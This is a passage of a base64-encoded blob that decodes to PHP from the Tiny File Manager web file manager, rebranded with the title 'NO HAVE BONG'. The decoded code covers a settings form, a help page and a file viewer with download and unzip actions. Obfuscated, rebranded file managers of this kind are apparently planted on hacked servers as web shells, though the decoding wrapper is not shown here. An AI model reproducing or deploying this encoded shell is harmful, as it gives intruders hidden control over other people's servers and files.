yZXBvcnQiIHZhbHVlPSJ0cnVlIiA8P3BocCBlY2hvICRyZXBvcnRfZXJyb3JzID8gJ2NoZWNrZWQnIDogJyc7ID8+IC8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWItMyByb3ciPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0ianMtc2hvdy1oaWRkZW4iIGNsYXNzPSJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbCI+PD9waHAgZWNobyBsbmcoJ1Nob3dIaWRkZW5GaWxlcycpID8+PC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1zbS05Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWNoZWNrIGZvcm0tc3dpdGNoIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iZm9ybS1jaGVjay1pbnB1dCIgdHlwZT0iY2hlY2tib3giIHJvbGU9InN3aXRjaCIgaWQ9ImpzLXNob3ctaGlkZGVuIiBuYW1lPSJqcy1zaG93LWhpZGRlbiIgdmFsdWU9InRydWUiIDw/cGhwIGVjaG8gJHNob3dfaGlkZGVuX2ZpbGVzID8gJ2NoZWNrZWQnIDogJyc7ID8+IC8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWItMyByb3ciPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0ianMtaGlkZS1jb2xzIiBjbGFzcz0iY29sLXNtLTMgY29sLWZvcm0tbGFiZWwiPjw/cGhwIGVjaG8gbG5nKCdIaWRlQ29sdW1ucycpID8+PC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1zbS05Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWNoZWNrIGZvcm0tc3dpdGNoIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iZm9ybS1jaGVjay1pbnB1dCIgdHlwZT0iY2hlY2tib3giIHJvbGU9InN3aXRjaCIgaWQ9ImpzLWhpZGUtY29scyIgbmFtZT0ianMtaGlkZS1jb2xzIiB2YWx1ZT0idHJ1ZSIgPD9waHAgZWNobyAkaGlkZV9Db2xzID8gJ2NoZWNrZWQnIDogJyc7ID8+IC8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWItMyByb3ciPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0ianMtMy0xIiBjbGFzcz0iY29sLXNtLTMgY29sLWZvcm0tbGFiZWwiPjw/cGhwIGVjaG8gbG5nKCdUaGVtZScpID8+PC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1zbS01Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGNsYXNzPSJmb3JtLXNlbGVjdCB3LTEwMCIgaWQ9ImpzLTMtMCIgbmFtZT0ianMtdGhlbWUtMyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9J2xpZ2h0JyA8P3BocCBpZigkdGhlbWUgPT0gImxpZ2h0Iil7ZWNobyAic2VsZWN0ZWQiO30gPz4+PD9waHAgZWNobyBsbmcoJ2xpZ2h0JykgPz48L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0nZGFyaycgPD9waHAgaWYoJHRoZW1lID09ICJkYXJrIil7ZWNobyAic2VsZWN0ZWQiO30gPz4+PD9waHAgZWNobyBsbmcoJ2RhcmsnKSA/Pjwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMgcm93Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1zbS0xMCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXN1Y2Nlc3MiPiA8aSBjbGFzcz0iZmEgZmEtY2hlY2stY2lyY2xlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdTYXZlJyk7ID8+PC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgPC9kaXY+DQogICAgPD9waHANCiAgICBmbV9zaG93X2Zvb3RlcigpOw0KICAgIGV4aXQ7DQp9DQoNCmlmIChpc3NldCgkX0dFVFsnaGVscCddKSkgew0KICAgIGZtX3Nob3dfaGVhZGVyKCk7IC8vIEhFQURFUg0KICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7IC8vIGN1cnJlbnQgcGF0aA0KICAgIGdsb2JhbCAkY2ZnLCAkbGFuZzsNCiAgICA/Pg0KDQogICAgPGRpdiBjbGFzcz0iY29sLW1kLTggb2Zmc2V0LW1kLTIgcHQtMyI+DQogICAgICAgIDxkaXYgY2xhc3M9ImNhcmQgbWItMiA8P3BocCBlY2hvIGZtX2dldF90aGVtZSgpOyA/PiI+DQogICAgICAgICAgICA8aDYgY2xhc3M9ImNhcmQtaGVhZGVyIGQtZmxleCBqdXN0aWZ5LWNvbnRlbnQtYmV0d2VlbiI+DQogICAgICAgICAgICAgICAgPHNwYW4+PGkgY2xhc3M9ImZhIGZhLWV4Y2xhbWF0aW9uLWNpcmNsZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnSGVscCcpID8+PC9zcGFuPg0KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gRk1fUEFUSCA/PiIgY2xhc3M9InRleHQtZGFuZ2VyIj48aSBjbGFzcz0iZmEgZmEtdGltZXMtY2lyY2xlLW8iPjwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpPz48L2E+DQogICAgICAgICAgICA8L2g2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1ib2R5Ij4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wteHMtMTIgY29sLXNtLTYiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHA+PGgzPjxhIGhyZWY9Imh0dHBzOi8vZ2l0aHViLmNvbS9wcmFzYXRobWFuaS90aW55ZmlsZW1hbmFnZXIiIHRhcmdldD0iX2JsYW5rIiBjbGFzcz0iYXBwLXYtdGl0bGUiPiBOTyBIQVZFIEJPTkcgPD9waHAgZWNobyBWRVJTSU9OOyA/PjwvYT48L2gzPjwvcD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxwPkF1dGhvcjogUHJhc2F0aCBNYW5pPC9wPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHA+TWFpbCBVczogPGEgaHJlZj0ibWFpbHRvOmNjcHByb2dyYW1tZXJzQGdtYWlsLmNvbSI+Y2NwcHJvZ3JhbW1lcnNbYXRdZ21haWwuY29tPC9hPiA8L3A+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wteHMtMTIgY29sLXNtLTYiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHVsIGNsYXNzPSJsaXN0LWdyb3VwIGxpc3QtZ3JvdXAtZmx1c2giPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imxpc3QtZ3JvdXAtaXRlbSI+PGEgaHJlZj0iaHR0cHM6Ly9naXRodWIuY29tL3ByYXNhdGhtYW5pL3RpbnlmaWxlbWFuYWdlci93aWtpIiB0YXJnZXQ9Il9ibGFuayI+PGkgY2xhc3M9ImZhIGZhLXF1ZXN0aW9uLWNpcmNsZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnSGVscCBEb2N1bWVudHMnKSA/PiA8L2E+IDwvbGk+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibGlzdC1ncm91cC1pdGVtIj48YSBocmVmPSJodHRwczovL2dpdGh1Yi5jb20vcHJhc2F0aG1hbmkvdGlueWZpbGVtYW5hZ2VyL2lzc3VlcyIgdGFyZ2V0PSJfYmxhbmsiPjxpIGNsYXNzPSJmYSBmYS1idWciPjwvaT4gPD9waHAgZWNobyBsbmcoJ1JlcG9ydCBJc3N1ZScpID8+PC9hPjwvbGk+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmKCFGTV9SRUFET05MWSkgeyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imxpc3QtZ3JvdXAtaXRlbSI+PGEgaHJlZj0iamF2YXNjcmlwdDpzaG93X25ld19wd2QoKTsiPjxpIGNsYXNzPSJmYSBmYS1sb2NrIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCcpID8+PC9hPjwvbGk+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3VsPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyBqcy1uZXctcHdkaGlkZGVuIG10LTIiPg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtMTIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gY2xhc3M9ImZvcm0taW5saW5lIiBvbnN1Ym1pdD0icmV0dXJuIG5ld19wYXNzd29yZF9oYXNoKHRoaXMpIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0eXBlIiB2YWx1ZT0icHdkaGFzaCIgYXJpYS1sYWJlbD0iaGlkZGVuIiBhcmlhLWhpZGRlbj0idHJ1ZSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBtYi0yIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0ic3RhdGljRW1haWwyIj48P3BocCBlY2hvIGxuZygnR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2gnKSA/PjwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBteC1zbS0zIG1iLTIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJpbnB1dFBhc3N3b3JkMiIgY2xhc3M9InNyLW9ubHkiPjw/cGhwIGVjaG8gbG5nKCdQYXNzd29yZCcpID8+PC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wgYnRuLXNtIiBpZD0iaW5wdXRQYXNzd29yZDIiIG5hbWU9ImlucHV0UGFzc3dvcmQyIiBwbGFjZWhvbGRlcj0iPD9waHAgZWNobyBsbmcoJ1Bhc3N3b3JkJykgPz4iIHJlcXVpcmVkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIGJ0bi1zbSBtYi0yIj48P3BocCBlY2hvIGxuZygnR2VuZXJhdGUnKSA/PjwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJvd3M9IjIiIHJlYWRvbmx5IGlkPSJqcy1wd2QtcmVzdWx0Ij48L3RleHRhcmVhPg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCiAgICA8P3BocA0KICAgIGZtX3Nob3dfZm9vdGVyKCk7DQogICAgZXhpdDsNCn0NCg0KLy8gZmlsZSB2aWV3ZXINCmlmIChpc3NldCgkX0dFVFsndmlldyddKSkgew0KICAgICRmaWxlID0gJF9HRVRbJ3ZpZXcnXTsNCiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUsIGZhbHNlKTsNCiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCcvJywgJycsICRmaWxlKTsNCiAgICBpZiAoJGZpbGUgPT0gJycgfHwgIWlzX2ZpbGUoJHBhdGggLiAnLycgLiAkZmlsZSkgfHwgIWZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGZpbGUpKSB7DQogICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTsNCiAgICAgICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOw0KICAgIH0NCg0KICAgIGZtX3Nob3dfaGVhZGVyKCk7IC8vIEhFQURFUg0KICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7IC8vIGN1cnJlbnQgcGF0aA0KDQogICAgJGZpbGVfdXJsID0gRk1fUk9PVF9VUkwgLiBmbV9jb252ZXJ0X3dpbigoRk1fUEFUSCAhPSAnJyA/ICcvJyAuIEZNX1BBVEggOiAnJykgLiAnLycgLiAkZmlsZSk7DQogICAgJGZpbGVfcGF0aCA9ICRwYXRoIC4gJy8nIC4gJGZpbGU7DQoNCiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZV9wYXRoLCBQQVRISU5GT19FWFRFTlNJT04pKTsNCiAgICAkbWltZV90eXBlID0gZm1fZ2V0X21pbWVfdHlwZSgkZmlsZV9wYXRoKTsNCiAgICAkZmlsZXNpemVfcmF3ID0gZm1fZ2V0X3NpemUoJGZpbGVfcGF0aCk7DQogICAgJGZpbGVzaXplID0gZm1fZ2V0X2ZpbGVzaXplKCRmaWxlc2l6ZV9yYXcpOw0KDQogICAgJGlzX3ppcCA9IGZhbHNlOw0KICAgICRpc19nemlwID0gZmFsc2U7DQogICAgJGlzX2ltYWdlID0gZmFsc2U7DQogICAgJGlzX2F1ZGlvID0gZmFsc2U7DQogICAgJGlzX3ZpZGVvID0gZmFsc2U7DQogICAgJGlzX3RleHQgPSBmYWxzZTsNCiAgICAkaXNfb25saW5lVmlld2VyID0gZmFsc2U7DQoNCiAgICAkdmlld190aXRsZSA9ICdGaWxlJzsNCiAgICAkZmlsZW5hbWVzID0gZmFsc2U7IC8vIGZvciB6aXANCiAgICAkY29udGVudCA9ICcnOyAvLyBmb3IgdGV4dA0KICAgICRvbmxpbmVfdmlld2VyID0gc3RydG9sb3dlcihGTV9ET0NfVklFV0VSKTsNCg0KICAgIGlmKCRvbmxpbmVfdmlld2VyICYmICRvbmxpbmVfdmlld2VyICE9PSAnZmFsc2UnICYmIGluX2FycmF5KCRleHQsIGZtX2dldF9vbmxpbmVWaWV3ZXJfZXh0cygpKSl7DQogICAgICAgICRpc19vbmxpbmVWaWV3ZXIgPSB0cnVlOw0KICAgIH0NCiAgICBlbHNlaWYgKCRleHQgPT0gJ3ppcCcgfHwgJGV4dCA9PSAndGFyJykgew0KICAgICAgICAkaXNfemlwID0gdHJ1ZTsNCiAgICAgICAgJHZpZXdfdGl0bGUgPSAnQXJjaGl2ZSc7DQogICAgICAgICRmaWxlbmFtZXMgPSBmbV9nZXRfemlmX2luZm8oJGZpbGVfcGF0aCwgJGV4dCk7DQogICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGZtX2dldF9pbWFnZV9leHRzKCkpKSB7DQogICAgICAgICRpc19pbWFnZSA9IHRydWU7DQogICAgICAgICR2aWV3X3RpdGxlID0gJ0ltYWdlJzsNCiAgICB9IGVsc2VpZiAoaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X2F1ZGlvX2V4dHMoKSkpIHsNCiAgICAgICAgJGlzX2F1ZGlvID0gdHJ1ZTsNCiAgICAgICAgJHZpZXdfdGl0bGUgPSAnQXVkaW8nOw0KICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfdmlkZW9fZXh0cygpKSkgew0KICAgICAgICAkaXNfdmlkZW8gPSB0cnVlOw0KICAgICAgICAkdmlld190aXRsZSA9ICdWaWRlbyc7DQogICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGZtX2dldF90ZXh0X2V4dHMoKSkgfHwgc3Vic3RyKCRtaW1lX3R5cGUsIDAsIDQpID09ICd0ZXh0JyB8fCBpbl9hcnJheSgkbWltZV90eXBlLCBmbV9nZXRfdGV4dF9taW1lcygpKSkgew0KICAgICAgICAkaXNfdGV4dCA9IHRydWU7DQogICAgICAgICRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJGZpbGVfcGF0aCk7DQogICAgfQ0KDQogICAgPz4NCiAgICA8ZGl2IGNsYXNzPSJyb3ciPg0KICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtMTIiPg0KICAgICAgICAgICAgPHAgY2xhc3M9ImJyZWFrLXdvcmQiPjxiPjw/cGhwIGVjaG8gbG5nKCR2aWV3X3RpdGxlKSA/PiAiPD9waHAgZWNobyBmbV9lbmMoZm1fY29udmVydF93aW4oJGZpbGUpKSA/PiI8L2I+PC9wPg0KICAgICAgICAgICAgPHAgY2xhc3M9ImJyZWFrLXdvcmQiPg0KICAgICAgICAgICAgICAgIDw/cGhwICRkaXNwbGF5X3BhdGggPSBmbV9nZXRfZGlzcGxheV9wYXRoKCRmaWxlX3BhdGgpOyA/Pg0KICAgICAgICAgICAgICAgIDxzdHJvbmc+PD9waHAgZWNobyAkZGlzcGxheV9wYXRoWydsYWJlbCddOyA/Pjo8L3N0cm9uZz4gPD9waHAgZWNobyAkZGlzcGxheV9wYXRoWydwYXRoJ107ID8+PGJyPg0KICAgICAgICAgICAgICAgIDxzdHJvbmc+RmlsZSBzaXplOjwvc3Ryb25nPiA8P3BocCBlY2hvICgkZmlsZXNpemVfcmF3IDw9IDEwMDApID8gIiRmaWxlc2l6ZV9yYXcgYnl0ZXMiIDogJGZpbGVzaXplOyA/Pjxicj4NCiAgICAgICAgICAgICAgICA8c3Ryb25nPk1JTUUtdHlwZTo8L3N0cm9uZz4gPD9waHAgZWNobyAkbWltZV90eXBlID8+PGJyPg0KICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgLy8gWklQIGluZm8NCiAgICAgICAgICAgICAgICBpZiAoKCRpc196aXAgfHwgJGlzX2d6aXApICYmICRmaWxlbmFtZXMgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICR0b3RhbF9maWxlcyA9IDA7DQogICAgICAgICAgICAgICAgICAgICR0b3RhbF9jb21wID0gMDsNCiAgICAgICAgICAgICAgICAgICAgJHRvdGFsX3VuY29tcCA9IDA7DQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlbmFtZXMgYXMgJGZuKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRmblsnZm9sZGVyJ10pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfZmlsZXMrKzsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICR0b3RhbF9jb21wICs9ICRmblsnY29tcHJlc3NlZF9zaXplJ107DQogICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfdW5jb21wICs9ICRmblsnZmlsZXNpemUnXTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnRmlsZXMgaW4gYXJjaGl2ZScpID8+OiA8P3BocCBlY2hvICR0b3RhbF9maWxlcyA/Pjxicj4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ1RvdGFsIHNpemUnKSA/PjogPD9waHAgZWNobyBmbV9nZXRfZmlsZXNpemUoJHRvdGFsX3VuY29tcCkgPz48YnI+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdTaXplIGluIGFyY2hpdmUnKSA/PjogPD9waHAgZWNobyBmbV9nZXRfZmlsZXNpemUoJHRvdGFsX2NvbXApID8+PGJyPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnQ29tcHJlc3Npb24nKSA/PjogPD9waHAgZWNobyByb3VuZCgoJHRvdGFsX2NvbXAgLyBtYXgoJHRvdGFsX3VuY29tcCwgMSkpICogMTAwKSA/PiU8YnI+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIC8vIEltYWdlIGluZm8NCiAgICAgICAgICAgICAgICBpZiAoJGlzX2ltYWdlKSB7DQogICAgICAgICAgICAgICAgICAgICRpbWFnZV9zaXplID0gZ2V0aW1hZ2VzaXplKCRmaWxlX3BhdGgpOw0KICAgICAgICAgICAgICAgICAgICBlY2hvICc8c3Ryb25nPicubG5nKCdJbWFnZSBzaXplJykuJzo8L3N0cm9uZz4gJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVswXSkgPyAkaW1hZ2Vfc2l6ZVswXSA6ICcwJykgLiAnIHggJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVsxXSkgPyAkaW1hZ2Vfc2l6ZVsxXSA6ICcwJykgLiAnPGJyPic7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIC8vIFRleHQgaW5mbw0KICAgICAgICAgICAgICAgIGlmICgkaXNfdGV4dCkgew0KICAgICAgICAgICAgICAgICAgICAkaXNfdXRmOCA9IGZtX2lzX3V0ZjgoJGNvbnRlbnQpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdpY29udicpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRpc191dGY4KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbnRlbnQgPSBpY29udihGTV9JQ09OVl9JTlBVVF9FTkMsICdVVEYtOC8vSUdOT1JFJywgJGNvbnRlbnQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxzdHJvbmc+Jy5sbmcoJ0NoYXJzZXQnKS4nOjwvc3Ryb25nPiAnIC4gKCRpc191dGY4ID8gJ3V0Zi04JyA6ICc4IGJpdCcpIC4gJzxicj4nOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgPC9wPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZC1mbGV4IGFsaWduLWl0ZW1zLWNlbnRlciBtYi0zIj4NCiAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGNsYXNzPSJkLWlubGluZSBtcy0yIiBhY3Rpb249Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtkbD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4iPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PiI+DQogICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1saW5rIHRleHQtZGVjb3JhdGlvbi1ub25lIGZ3LWJvbGQgcC0wIj48aSBjbGFzcz0iZmEgZmEtY2xvdWQtZG93bmxvYWQiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0Rvd25sb2FkJykgPz48L2J1dHRvbj4gJm5ic3A7DQogICAgICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICAgICAgICAgIDxiIGNsYXNzPSJtcy0yIj48YSBocmVmPSI8P3BocCBlY2hvIGZtX2VuYygkZmlsZV91cmwpID8+IiB0YXJnZXQ9Il9ibGFuayI+PGkgY2xhc3M9ImZhIGZhLWV4dGVybmFsLWxpbmstc3F1YXJlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdPcGVuJykgPz48L2E+PC9iPg0KICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgLy8gWklQIGFjdGlvbnMNCiAgICAgICAgICAgICAgICBpZiAoIUZNX1JFQURPTkxZICYmICgkaXNfemlwIHx8ICRpc19nemlwKSAmJiAkZmlsZW5hbWVzICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgICAgICAkemlwX25hbWUgPSBwYXRoaW5mbygkZmlsZV9wYXRoLCBQQVRISU5GT19GSUxFTkFNRSk7DQogICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgY2xhc3M9ImQtaW5saW5lIG1zLTIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idG9rZW4iIHZhbHVlPSI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idW56aXAiIHZhbHVlPSI8P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSk7ID8+Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1saW5rIHRleHQtZGVjb3JhdGlvbi1ub25lIGZ3LWJvbGQgcC0wIiBzdHlsZT0iZm9udC1zaXplOiAxNHB4OyI+PGkgY2xhc3M9ImZhIGZhLWNoZWNrLWNpcmNsZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnVW5aaXAnKSA/PjwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+Jm5ic3A7DQogICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgY2xhc3M9ImQtaW5saW5lIG1zLTIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idG9rZW4iIHZhbHVlPSI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idW56aXAiIHZhbHVlPSI8P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSk7ID8+Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRvZm9sZGVyIiB2YWx1ZT0iMSI+DQogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tbGluayB0ZXh0LWRlY29yYXRpb24tbm9uZSBmdy1ib2xkIHAtMCIgc3R5bGU9ImZvbnQtc2l6ZTogMTRweDsiIHRpdGxlPSJVblppcCB0byA8P3BocCBlY2hvIGZtX2VuYygkemlwX25hbWUpID8+Ij48aSBjbGFzcz0iZmEgZmEtY2hlY2stY2lyY2xlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdVblppcFRvRm9sZGVyJykgPz48L2J1dHRvbj4NCiA